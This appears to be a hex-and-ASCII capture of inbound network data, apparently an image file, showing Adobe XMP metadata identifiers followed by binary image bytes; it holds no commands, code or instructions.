2022-04-08 08:02:43 UTC4647INData Raw: 34 38 30 32 46 34 30 36 37 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 44 37 37 37 34 33 34 41 43 30 35 45 30 31 31 38 34 41 44 38 37 39 44 43 36 37 41 33 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 38 32 38 34 36 41 46 46 31 35 32 45 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 41 31 37 31 36 33 41 33 43 44 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 32 32 39 41 39 42 32 46 37 35 39 33 44 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72
Data Ascii: 4802F40676F</rdf:li> <rdf:li>xmp.did:ED777434AC05E01184AD879DC67A3265</rdf:li> <rdf:li>xmp.did:ED7F1174072068118C82846AFF152E69</rdf:li> <rdf:li>xmp.did:ED7F11740720681197A5A17163A3CDD7</rdf:li> <rdf:li>xmp.did:ED7F117407206811A229A9B2F7593D2E</rdf:li> <r
2022-04-08 08:02:43 UTC4655INData Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 45 45 38 36 36 32 46 45 39 43 33 44 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 39 31 30 39 44 39 31 42 31 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 39 46 38 42 39 43 44 41 31 37 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 42 34 31 30 30 30 33 38 37 42 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37
Data Ascii: f:li>xmp.did:F77F1174072068118CEE8662FE9C3D2E</rdf:li> <rdf:li>xmp.did:F77F1174072068118DBB9109D91B17F5</rdf:li> <rdf:li>xmp.did:F77F1174072068118DBB9F8B9CDA17DB</rdf:li> <rdf:li>xmp.did:F77F1174072068118DBBB41000387B37</rdf:li> <rdf:li>xmp.did:F77F117407
2022-04-08 08:02:43 UTC4671INData Raw: 31 38 43 31 34 45 38 42 31 35 37 42 43 42 33 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 38 35 44 42 45 44 43 44 31 30 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 46 39 38 43 33 31 36 34 38 37 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 35 42 41 46 43 36 46 30 30 42 43 37 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 31 41 34 38 32 43 33 30 38 39 45 30 35 36 39 3c 2f 72 64 66 3a
Data Ascii: 18C14E8B157BCB3A0</rdf:li> <rdf:li>xmp.did:FD7F117407206811910985DBEDCD109C</rdf:li> <rdf:li>xmp.did:FD7F1174072068119457F98C3164876C</rdf:li> <rdf:li>xmp.did:FD7F117407206811A5BAFC6F00BC79B8</rdf:li> <rdf:li>xmp.did:FD7F117407206811B1A482C3089E0569</rdf:
2022-04-08 08:02:43 UTC4687INData Raw: 34 64 37 2d 34 37 31 39 2d 61 30 35 39 2d 35 35 64 38 63 39 64 32 31 35 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 34 65 34 34 61 61 66 2d 63 38 30 34 2d 65 36 34 35 2d 39 35 34 31 2d 35 61 30 61 37 35 33 37 37 32 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 34 65 62 30 62 62 35 2d 61 63 33 31 2d 64 30 34 64 2d 38 32 31 33 2d 31 32 37 63 32 38 63 62 66 35 64 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 34 66 35 38 33 34 37 2d 62 64 31 33 2d 34 61 36 30 2d 38 34 36 64 2d 61 62 30 62 39 38 36 62 39 39 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 34 66 37 39 61 31 62 2d 35 66 35 31 2d 34 31 39
Data Ascii: 4d7-4719-a059-55d8c9d21587</rdf:li> <rdf:li>xmp.did:c4e44aaf-c804-e645-9541-5a0a753772a9</rdf:li> <rdf:li>xmp.did:c4eb0bb5-ac31-d04d-8213-127c28cbf5da</rdf:li> <rdf:li>xmp.did:c4f58347-bd13-4a60-846d-ab0b986b995a</rdf:li> <rdf:li>xmp.did:c4f79a1b-5f51-419
2022-04-08 08:02:43 UTC4695INData Raw: 32 38 36 31 33 61 61 30 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 34 64 63 31 38 66 2d 32 65 61 34 2d 34 37 38 30 2d 39 38 34 32 2d 38 31 31 39 65 36 64 35 37 32 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 35 61 35 66 31 65 2d 64 30 32 38 2d 66 36 34 35 2d 38 33 36 34 2d 30 34 35 65 65 62 34 62 61 64 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 61 36 63 62 30 37 2d 33 34 66 35 2d 31 65 34 38 2d 39 37 34 37 2d 61 33 63 64 62 32 64 39 33 65 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 64 62 61 62 33 32 2d 31 61 33 37 2d 34 39 39 38 2d 39 35 32 38 2d 36 61 31 62 37 37 31 35 32
Data Ascii: 28613aa0e1</rdf:li> <rdf:li>xmp.did:de4dc18f-2ea4-4780-9842-8119e6d57207</rdf:li> <rdf:li>xmp.did:de5a5f1e-d028-f645-8364-045eeb4badb8</rdf:li> <rdf:li>xmp.did:dea6cb07-34f5-1e48-9747-a3cdb2d93e94</rdf:li> <rdf:li>xmp.did:dedbab32-1a37-4998-9528-6a1b77152
2022-04-08 08:02:43 UTC4711INData Raw: dd ab ed 90 32 a6 5c 54 12 fd 40 d6 e6 46 35 0b bd 07 cb 10 5a 38 90 a2 fe 28 25 04 07 2e 68 bc 87 bf 6a 74 39 5c b7 d9 20 a7 6d 72 75 5f 4c 9a 07 4d 82 9d a9 91 b6 56 84 69 a5 d3 2d 65 86 68 ea 1b 75 6e a0 8a d6 a1 bf 86 4b 9b 31 35 8f af da 9b 2f 48 0f 89 c9 57 14 fb 3e f4 3d b2 70 09 39 2c 6c c7 24 89 ee c9 48 80 78 ba 80 4d 37 f6 ef 97 97 1d 5a 1b 39 a5 06 36 8a af b5 09 6e de 01 b2 89 26 93 2f 5a 06 65 85 aa 2e 23 5a 30 ef b7 bf 7c c6 21 8a 6f 65 21 8d 23 95 15 9b e3 ad 05 2b 41 d3 00 14 df 1d 93 6d 68 c9 1c cc a6 5f ab 47 2a 24 a0 2a 16 23 90 e4 ca 29 b7 c2 72 e2 89 10 93 5c da c5 7b 28 84 2f 24 8b 7e 44 9e 44 78 b1 e9 bf 87 ec e5 26 54 e3 4e 48 28 6d 6e 6c ee 0c 90 a9 92 12 77 66 ec 3d b2 04 db 18 9b 47 3c 42 45 59 42 f1 55 6e a0 d4 0f bf 2a 90 2d
Data Ascii: 2\T@F5Z8(%.hjt9\ mru_LMVi-ehunK15/HW>=p9,l$HxM7Z96n&/Ze.#Z0|!oe!#+Amh_G*$*#)r\{(/$~DDx&TNH(mnlwf=G<BEYBUn*-
2022-04-08 08:02:43 UTC4727INData Raw: b2 b7 8e 20 24 0a 19 96 b4 eb 41 f2 18 0b 14 c0 c7 33 cc a8 05 1b 88 e4 5b df 7d c6 45 8c 8a 0e 39 9a 79 1c c7 4d c9 1d 69 41 de 83 20 43 8f 20 9d 68 7a 49 d6 2e 56 de 49 98 46 46 f5 3d 05 3f 13 95 90 d5 10 ce 57 45 d3 09 48 6c c0 3e 9e ce c1 ab 5a 7f 37 be 17 26 20 31 bd 62 da 6b 6b 93 02 20 3c aa 02 af 4a 7b 8c 98 4f 0b 07 b8 94 89 9c 05 0a 8b b3 01 5d cf cb 32 40 d9 90 53 bb b8 8f 84 68 8a 3e 78 48 6f 0a b7 11 c0 8e b1 f3 f8 fc 3c 3e ec 56 d4 ec ac c3 12 cc 59 16 9b 31 f1 f0 c4 34 c9 39 d1 ef 2d 81 36 e4 fe f0 13 f0 8d eb f4 f6 19 5e 40 b1 0c fb c9 d0 17 b8 96 ea 65 e3 1a 21 58 f6 a5 59 8d 4d 3e 43 be 6a b3 48 55 39 71 08 eb cb 38 bd 6f ad 8a 73 43 42 a3 a9 23 30 83 5c c2 4f a6 5e dd de eb 30 db c5 c6 aa fc 98 d3 ec fc bd c6 63 e6 90 11 25 c6 bb 2a f7
Data Ascii: $A3[}E9yMiA C hzI.VIFF=?WEHl>Z7& 1bkk <J{O]2@Sh>xHo<>VY149-6^@e!XYM>CjHU9q8osCB#0\O^0c%*
2022-04-08 08:02:43 UTC4734INData Raw: 64 e9 60 ba ac 1c 65 bf 40 96 d1 a7 14 25 e4 68 c9 ab d5 08 ee 69 f1 2b 7e d6 40 86 14 12 b9 fc d4 6d ac 61 b3 88 bb 4b 27 36 9b 99 e8 4b 57 92 1a d5 1d 86 cc 72 62 2a 21 65 31 d4 22 bf f2 f5 a4 10 cc d1 4d ea 46 97 10 2a b7 33 08 ad 78 ab 29 ea f4 5e 7d bc 32 ce 2a d9 b2 42 d8 de a5 7b 73 72 cb 26 a9 cd ef 63 3e 9b 45 22 94 a2 53 e0 3d 01 04 57 22 69 63 b6 c9 c6 ab e6 4d 4d ed 61 d3 9d 84 b1 ec 26 a9 53 c9 80 e1 b3 ae c1 78 f8 f4 eb 88 95 29 42 eb d3 5e c3 0b 5b 5c 84 29 64 38 29 8e 40 c4 23 0d 95 7f 9e 87 ab f6 e9 96 12 c2 98 d5 b2 cd 1d d2 c7 3f 34 23 8b 78 35 0e e0 8a fb 6e 32 05 92 7b aa 7a 9a 7a 45 37 ac 66 59 37 2e 40 e4 1f b8 6e a4 fb 60 a4 03 6a 97 fa b3 df 5a 45 eb 2b 34 88 0a 46 f5 a7 14 3b 98 ca 8f f2 8d 47 86 44 96 14 a6 6f ae 06 9a 74 a8 a5
Data Ascii: d`e@%hi+~@maK'6KWrb*!e1"MF*3x)^}2*B{sr&c>E"S=W"icMMa&Sx)B^[\)d8)@#?4#x5n2{zzE7fY7.@n`jZE+4F;GDot
2022-04-08 08:02:43 UTC4750INData Raw: f5 6d d1 c6 e1 d9 24 ba 89 ee 62 91 a7 62 f7 72 11 21 34 f8 54 6f f0 83 e3 ed d8 66 4f 05 86 a3 16 0d 74 97 12 4c d1 87 03 a8 20 77 27 c7 b7 d1 96 47 60 ea 65 cd 02 21 5d 3a 32 d3 06 79 6a 3b 0e fd 32 57 6d 25 72 c5 73 76 39 5c 92 90 07 05 29 d8 0e db 65 12 95 a0 a6 35 66 90 c9 bd 63 ad 37 e8 3e 47 29 b4 52 fd 3b 52 b8 b5 d4 3e b4 ab 56 23 8c 6d b8 20 9d 8f 1a fb 7e d6 54 60 2a 99 0d 8b d5 7c 8d f9 81 26 8a 12 c5 15 94 7a 84 c8 c6 8d f0 53 a2 8a 78 f8 e0 c3 23 8c 70 86 76 79 b2 bb d8 6c 7c df 0c 77 96 f2 49 1d cc 81 88 8d c8 aa 71 3f e4 f8 e6 2e 58 09 1b df f5 3b 3c 59 c1 14 51 5a 37 9a 6e 34 b6 16 5a b3 7c 0b 45 12 54 1f 6a 1a 64 79 6c ca 40 c7 70 cf d6 55 95 79 86 e4 0f 4c 91 48 36 d9 8f c7 b8 ca a5 16 d0 54 65 b7 2c bc a9 f0 8d f7 cc 5c 98 6c 5b 68 92
Data Ascii: m$bbr!4TofOtL w'G`e!]:2yj;2Wm%rsv9\)e5fc7>G)R;R>V#m ~T`*|&zSx#pvyl|wIq?.X;<YQZ7n4Z|ETjdyl@pUyLH6Te,\l[h
2022-04-08 08:02:43 UTC4766INData Raw: 89 a2 65 3c 2a 0a 23 03 c4 76 df e5 db 2e 84 eb 9a 0a 9e 95 6a 96 b2 a2 4c 9c dd 17 7a 76 62 0d 0d 3b ec 72 66 76 c4 c7 64 96 c7 cb cc 92 c8 da 88 30 40 11 9c 37 16 2c c1 4d 0a a0 e9 ff 00 05 99 7c 6e 37 05 25 f7 f0 9b 09 d0 70 f8 86 fb d0 8a 11 b1 f8 76 0d 4c 90 6a a5 e2 61 1d b1 59 0f c4 db 14 ee 07 6a 7b 64 28 15 45 c5 a8 5a 5d 5a 22 4c df 13 a0 52 91 82 a3 92 92 11 8e e1 58 9e f8 25 1a 62 4a 65 24 7a 8a c2 c5 6a b6 f6 ca a6 4e 25 76 66 04 50 53 7e 9f 6b 2a ab 6b 21 42 6b 9d 31 a1 4b 82 a5 ae 58 50 16 34 07 7d eb df a6 44 02 c4 04 44 b3 c3 6b 62 d0 d9 aa c4 ec 03 48 08 05 5b 6d 80 61 e1 5e 41 71 8c 37 b6 d0 c3 e2 b0 f5 e5 31 09 16 46 07 89 2b b8 3b f6 cc ed c0 6f 3b 26 37 f3 08 a1 6b 68 9e 8b c6 b4 a0 1b d7 ae 46 20 da 01 dd 8e 72 25 f3 30 37 5b 7e a3
Data Ascii: e<*#v.jLzvb;rfvd0@7,M|n7%pvLjaYj{d(EZ]Z"LRX%bJe$zjN%vfPS~k*k!Bk1KXP4}DDkbH[ma^Aq71F+;o;&7khF r%07[~
2022-04-08 08:02:43 UTC4774INData Raw: c2 61 a1 08 16 39 5a 78 79 a8 04 3b 85 f8 0e ff 00 0d 40 fb 3f eb 65 84 db 90 36 65 f6 a2 5b 88 21 b0 d4 25 31 c1 1d 25 86 48 82 3c 9c 41 a8 34 63 cb 8a 30 a7 da fb f2 92 2d bf 8a 92 cf 33 eb c7 53 80 94 77 b9 46 9a bc 15 00 55 2c bd 7f 98 16 6d f8 63 20 c0 2b c7 28 b9 b2 17 12 94 82 54 20 84 63 4f 49 56 a0 f1 42 6a 59 d8 51 b8 ae 47 9b 51 8a 47 36 a5 35 ad d7 d7 35 18 01 49 c3 6c e6 a6 87 60 50 8d d1 bc 1b 2e 94 01 64 ab 79 3a 5c 5b 8b 98 cd 3e 31 45 70 46 d4 fb 55 fd a6 ec 73 13 83 74 c6 3b a8 d8 91 3c d1 a1 e2 49 24 1a 9e 20 0a 7d aa e5 66 1b b6 52 26 d6 48 ac 27 65 62 5b 7d a8 7e 1a 91 b1 3d c6 3c 14 c4 a6 cf 30 63 ca 36 0b 39 02 87 df bd 0f 4c 40 6b 54 f4 f8 53 d2 66 9a 66 f8 da 5e 3b 9f 84 54 1e e3 8e 4e 91 68 47 9c b3 fd 62 58 da 43 e9 9f 85 b6 03
Data Ascii: a9Zxy;@?e6e[!%1%H<A4c0-3SwFU,mc +(T cOIVBjYQGQG655Il`P.dy:\[>1EpFUst;<I$ }fR&H'eb[}~=<0c69L@kTSff^;TNhGbXC
2022-04-08 08:02:43 UTC4782INData Raw: f6 05 7c 06 46 31 e2 2c 88 d9 81 2c ac b2 48 d2 be ea a0 b5 07 57 63 52 6b f2 a6 66 91 4e 1c 8a 1a d9 1a 54 48 0f 22 d2 b5 4d 37 1c 7a 80 73 0f 21 e1 0e 39 2c f0 69 97 c9 a5 19 50 87 43 4f 85 08 2a b5 e8 b4 ed e3 98 b1 27 99 62 05 84 9f 4d b6 b8 b6 d5 6d e4 1c 80 07 8b 50 76 3f a8 7b e6 5c 46 f6 d4 62 f5 cb 74 f5 93 7f b3 4c 9b 65 34 c2 34 f8 68 69 e3 5c ac 96 60 28 dc da 1f 49 ae 12 0f 5c a1 04 06 34 03 c5 98 8f 01 90 03 ab 95 8c 59 79 87 9c 7c d4 da 9e a4 ba 6e 98 2b ea d1 07 a2 c6 82 4f 09 03 53 e1 ff 00 2b 36 58 f1 90 2c b6 4a 7d 19 1f 93 ff 00 2e e0 d3 9b eb 73 c8 c6 66 2a 59 4b 55 01 1d 00 5c 12 cd d0 38 c2 3b db d3 ed ad 51 45 55 85 4f 7c d5 ce 44 ee e4 86 a6 55 8b 73 5a d7 ad 32 02 4c 82 9d cc d1 32 90 e0 56 9b 6d bf d1 95 c8 b3 8d 86 3b 35 db 00
Data Ascii: |F1,,HWcRkfNTH"M7zs!9,iPCO*'bMmPv?{\FbtLe44hi\`(I\4Yy|n+OS+6X,J}.sf*YKU\8;QEUO|DUsZ2L2Vm;5
2022-04-08 08:02:43 UTC4798INData Raw: f8 73 2f c3 24 f2 ba 1e eb 69 11 e8 97 cb 39 bf 44 86 fe 39 41 12 4b 21 ae c8 d4 dd 3d 3f 65 dd 14 37 c3 f3 ca e2 7c 40 36 6c fa 4a 71 a5 5d fa 2e f2 df a0 93 4d f8 64 4a a8 aa 96 fd 9a ad 1d dc f7 fd 9c b0 01 11 bf d2 b7 dc 87 9e 16 b4 77 be 84 24 d6 c4 81 51 5e 11 8d f9 7a dd 7f 78 ed d1 46 d4 c9 88 d6 ff 00 d9 fe 73 02 6d 42 c3 cc f7 fa 15 fc 70 45 1c 3c 15 55 65 5e 0a ac d5 35 1f 13 72 2a 03 1d f6 e9 99 30 24 0e 8d 36 be ea da d2 48 47 d5 c2 cd 77 2b 34 86 27 23 83 b1 34 aa f1 a7 a2 8b fc df 6e 4f 96 51 29 81 43 f1 fb 3f 4b 3e 68 7d 43 cc ba 78 bd b3 d1 56 18 27 88 42 eb 24 e8 85 57 9d 7e 32 9f b5 c1 0d 17 fc ac 97 00 26 fe 1f 14 9b 88 4e f4 6d 35 66 79 b4 b9 81 fa bd a0 49 e0 ba 72 87 8f 4e 41 11 be 16 af d9 a6 fc 70 46 3b 7b ba b6 01 ba 85 b5 cc 52
Data Ascii: s/$i9D9AK!=?e7|@6lJq].MdJw$Q^zxFsmBpE<Ue^5r*0$6HGw+4'#4nOQ)C?K>h}CxV'B$W~2&Nm5fyIrNApF;{R
2022-04-08 08:02:43 UTC4814INData Raw: 52 c7 b8 6b 78 14 10 2a c4 11 b5 48 5c 98 00 b1 25 42 f2 4f 4f 8a 44 08 e5 42 cc d4 dc 9f 6c b8 30 2a 33 49 c1 d9 c9 e6 e0 02 49 dc 0f 6c 69 ae d0 fe a7 d6 cb 4b 37 db a7 86 10 16 ed 75 45 bc 23 8f c2 49 1f 68 54 b7 73 89 0b c9 30 d3 6e 63 46 10 33 7c 4d d4 01 d3 ee cc 79 45 2c 9a 5e 2f 6d e9 5d 8f 0e 80 54 8a ed 51 98 d4 59 38 aa dc c7 57 15 df 66 ec 00 e9 f7 61 07 a3 26 3d aa c9 6d 34 66 35 a3 50 d0 9e 3b 11 dc 0c c9 80 60 c7 ef 25 88 a5 15 49 27 b1 3f 79 f9 66 40 0c 0a 09 a2 58 d0 55 88 72 7a 7b 65 a3 66 9a 43 4d c8 d4 b3 7c 3d 87 5c b4 2d 2d 8a 50 4f 2e 15 3c 48 f8 85 7e 91 85 8b 66 25 41 bb 52 a7 73 f2 c5 56 ac dc 9e a8 7e 20 3a f6 f9 e1 42 f7 9c b3 16 00 a8 ee 46 e5 b1 45 2b 23 07 a3 b9 25 47 4d b1 57 ff d6 e6 13 ea f2 4a cb ea 12 a9 b8 50 b5 ea 7b
Data Ascii: Rkx*H\%BOODBl0*3IIliK7uE#IhTs0ncF3|MyE,^/m]TQY8Wfa&=m4f5P;`%I'?yf@XUrz{efCM|=\--PO.<H~f%ARsV~ :BFE+#%GMWJP{
2022-04-08 08:02:43 UTC4822INData Raw: 24 7e c9 1b 81 ed 80 4e f9 b2 b4 c2 c7 4d 92 e5 15 14 a9 84 b1 3c 54 71 5a 9e 84 53 a6 f9 4c a4 0b 1e 24 de 2d 3a 4d 46 cf d1 bb ba 55 98 01 45 0d f0 96 ad 3e 36 f6 19 8f 7c 3c 9b 39 aa 4f 6a da 65 b4 8d 2d d4 2c 9c bd 55 f4 1a a6 84 50 ae df b2 4d 68 30 89 09 b7 81 4c 6a 39 99 2e cc 83 94 6f 50 42 b7 5a 1e 85 5b 2f ad 9a d1 66 f6 48 5c dd 27 19 82 54 48 1c f1 3e db 7e d1 f9 65 46 2c 48 44 27 a3 ae c5 c9 ed d2 2b b5 a9 0e 58 c7 b8 da b5 51 db f1 c9 c4 f0 ec a1 01 73 a6 5e c3 09 d4 1e 20 c5 42 ac 85 98 30 0d 5a 0f 73 5c cb 13 07 66 f0 af 0d d1 6a c4 57 85 3e 21 42 54 12 4d 4d 3d bd b1 2d d1 47 a9 5b c9 28 76 94 0e 34 1e 1d 76 af 5c 20 a4 a1 21 b6 48 64 66 99 7d 49 59 d9 88 35 2a 56 9f ae b9 60 2c 08 4b 2d e5 b7 b9 66 fa ba 32 71 6e 24 0d c7 1f 13 93 32 66
Data Ascii: $~NM<TqZSL$-:MFUE>6|<9Oje-,UPMh0Lj9.oPBZ[/fH\'TH>~eF,HD'+XQs^ B0Zs\fjW>!BTMM=-G[(v4v\ !Hdf}IY5*V`,K-f2qn$2f
2022-04-08 08:02:43 UTC4838INData Raw: 46 be 7f 56 45 70 c4 d7 6a f5 cc ec 79 88 63 28 a1 2d ff 00 2d 2d 82 f2 8a 59 23 5e a4 3f 41 4f e1 96 9c c4 b0 a0 ba 1d 07 48 b6 25 7d 53 70 df 10 6e 24 f1 01 69 fe d6 4b 80 b2 b5 bf a4 2c 65 64 f4 92 58 e3 4a 8a 46 7a 78 1f 87 ae 42 78 b7 67 14 df 48 d6 16 78 08 90 12 a3 a0 a1 e9 e3 5a f5 3d 73 06 70 dd ca 8b 76 73 97 80 b3 95 71 ea 96 61 5a f1 8d 45 5a bf 2a 66 2c a3 dc da 93 e9 7e 64 6f 32 cf 10 b2 89 61 76 2c af b1 62 50 7d 93 cb c4 e5 3a 8c 1e 18 e2 61 76 69 33 d1 f4 26 b1 b8 0e 2a ec 85 aa c4 6c 3a f5 ce 3b 5b ab 32 1c 28 e0 a5 0d 6f 5f 8a df e0 b7 de 4e ae 4e c0 76 3b e1 ec ee cb 39 87 14 b9 34 4a 4c 76 6f 30 c7 2c c6 15 27 83 7c 4a c3 70 3e 7e 19 d8 e9 bb 3e 38 87 26 a0 53 95 d4 be b5 6a cf 31 f5 0a a8 dc 6d 4e c4 1a ff 00 28 de 99 77 84 2f 66 4c
Data Ascii: FVEpjyc(---Y#^?AOH%}Spn$iK,edXJFzxBxgHxZ=spvsqaZEZ*f,~do2av,bP}:avi3&*l:;[2(o_NNv;94JLvo0,'|Jp>~>8&Sj1mN(w/fL
2022-04-08 08:02:43 UTC4854INData Raw: a1 8d cd cc 71 b4 80 b2 c6 6a 5f 73 f2 a6 50 75 20 1a 6d f0 92 cb df 2f b3 ca 56 60 8c c8 42 10 02 9a d7 f1 cc 3c ba e1 8c 59 6b 94 42 2e c7 41 b0 b0 25 67 8a 35 70 09 34 02 87 6d b7 f9 e7 13 ae ed 79 64 f4 c2 fd ed 83 65 3b ad 79 2d 5e 42 53 d3 91 40 ab 1d c1 03 b0 cd 5e 3e cc c9 92 af 91 6c e2 a6 01 e6 2d 5a 5d 64 7a dc 9b 84 7f 13 53 a9 07 b0 a7 6c f4 ae cf ec f8 e9 e3 e6 e2 4a 76 c6 fd 19 64 b6 32 14 0e a8 c5 c1 61 52 3c 2a 7b ed 9b c0 29 ac 95 3d 3c c9 71 78 f7 33 03 46 a0 a8 1f 2a f7 db 6c 91 61 69 fe a5 14 b6 92 16 0a 42 39 1c 50 90 49 f0 af b8 ca 38 59 12 80 82 d2 6b ab 26 8e 3e 51 90 f5 03 c3 dc 1c ae e8 b5 cb 74 35 86 98 f6 b7 82 e6 37 f5 1e 84 b0 35 2c 69 ef ef 99 43 25 86 8a 56 9a d3 d4 8f eb 90 b1 57 2e a1 d7 89 04 1a f4 c9 19 21 3b d0 21 92
Data Ascii: qj_sPu m/V`B<YkB.A%g5p4myde;y-^BS@^>l-Z]dzSlJvd2aR<*{)=<qx3F*laiB9PI8Yk&>Qt575,iC%VW.!;!
2022-04-08 08:02:43 UTC4862INData Raw: d7 8f a7 c2 a7 97 c5 b0 af 88 cb 22 a9 74 f7 05 e3 ac 92 33 49 d0 82 3b 0e 9b e5 ea ae 15 a1 81 6d a2 01 9c 92 d5 3e 04 50 e5 64 2a 26 4b 76 36 5e 9b 32 94 5e 95 eb 5f ec c8 83 49 52 9a ee 29 c4 30 39 f8 63 a0 0c 0e e6 82 98 38 50 13 dd 32 e6 2d 6a 75 b7 91 c8 78 d6 ab 40 58 10 bf e4 f7 cc 3c 97 01 61 49 28 e9 bc bb a6 45 eb 5e 5d 4d 2b c6 84 50 20 0b d4 fc 20 87 ab 6f e0 b9 89 0d 54 89 a0 1a 78 d2 19 ac d1 a4 63 0b f3 2a 6b 1a 11 43 53 d8 e6 ce 06 c3 70 36 a5 71 05 c5 bc 66 0b c5 2b 39 3c 80 22 86 99 3b 6c ab 4d 23 84 41 6f 09 20 b3 38 db 8f da df b8 f0 a6 52 4d b0 28 b7 d3 5c 7c 25 db 7a 3a 86 14 e9 d4 16 02 99 01 26 14 97 7d 52 38 5d 59 aa 57 f6 89 eb 4a f6 19 32 4a a3 0c b6 a3 e0 7a 82 9b a1 27 63 4e cc 32 04 b0 4a 75 bb e3 55 48 82 80 e3 95 37 3f ec
Data Ascii: "t3I;m>Pd*&Kv6^2^_IR)09c8P2-jux@X<aI(E^]M+P oTxc*kCSp6qf+9<";lM#Ao 8RM(\|%z:&}R8]YWJ2Jz'cN2JuUH7?
2022-04-08 08:02:43 UTC4878INData Raw: 77 54 6c 13 07 94 05 94 98 c2 53 61 40 0f 81 39 02 c6 d1 c2 e2 29 3f 79 33 14 23 ab 25 4f 1f 97 b6 55 c4 82 a2 b7 10 d9 c8 3e a7 23 30 e5 cb ae e0 d3 2a 26 d4 14 53 dc a9 60 cb 2d 5b 63 47 06 80 f8 54 fe bc b2 2c d0 e6 fc c3 1c 88 a4 af a9 46 75 ea 18 8e 9e db 76 cb 6d 2b 2d af 0a c9 18 2e 43 c9 f0 aa 81 bf d1 ed 95 e4 dc 22 45 32 ba 99 ed 11 5d a2 05 64 62 39 52 80 1f 7a 7d 91 98 71 04 97 1f 8a d8 fc 97 37 36 e4 fd 63 e1 4a d5 64 5d f9 7d 3d 36 cc c1 10 91 c9 31 d3 f5 09 59 4b 41 24 75 04 00 0a fd af 95 3a fd 39 19 c5 92 32 fa f6 10 93 4b 22 98 e7 74 d9 37 20 b0 ea d4 ed b7 4c a6 31 63 2d d2 39 2f 19 22 67 32 54 a1 4f 8a 33 c4 ef b5 7e 83 96 f0 b5 04 74 af 79 e9 bc 85 87 a8 bf 18 e4 49 e4 bd 29 c4 f7 6c be 26 9b 40 49 6f 19 d2 5f 4b 91 8d 4f 50 80 52 87
Data Ascii: wTlSa@9)?y3#%OU>#0*&S`-[cGT,Fuvm+-.C"E2]db9Rz}q76cJd]}=61YKA$u:92K"t7 L1c-9/"g2TO3~tyI)l&@Io_KOPR
2022-04-08 08:02:43 UTC4894INData Raw: ee 18 75 34 cc ba d9 9d 2b 7e 8f 8a 35 96 8e 5a 55 e2 d4 22 b5 34 fc 76 c8 90 c0 84 1a 42 21 2b 24 c7 92 12 45 4a 9a 27 80 f7 1e 03 1b 6b 25 2f 32 cb 66 e2 27 60 95 dc 93 e0 7a 65 d5 61 97 34 ee cd 16 f2 11 0d c3 a8 70 f5 53 d7 90 3f d4 65 07 d2 52 45 15 3b 58 e3 b0 82 47 05 9d a1 21 97 db 7f e1 96 82 d8 51 3a 8d d4 d7 30 bc 61 ba 05 20 aa ad 48 26 bb f7 ef 81 04 25 f1 87 0d eb b6 ca 9c 54 30 da a4 57 ed 2f 8f be 44 b0 a4 d5 d9 56 46 59 14 14 24 7c 27 a3 6d d4 7b 8c 85 35 90 96 5c 5b 3c c8 8f 33 08 d4 55 52 bb 0f a0 8c 91 6b 47 da 6a 2f 52 d1 91 2c 74 e1 27 f3 74 a2 b0 d8 7c 4b db 31 e7 b7 36 34 8d b6 91 6d a2 f4 ae ad d2 49 c0 20 33 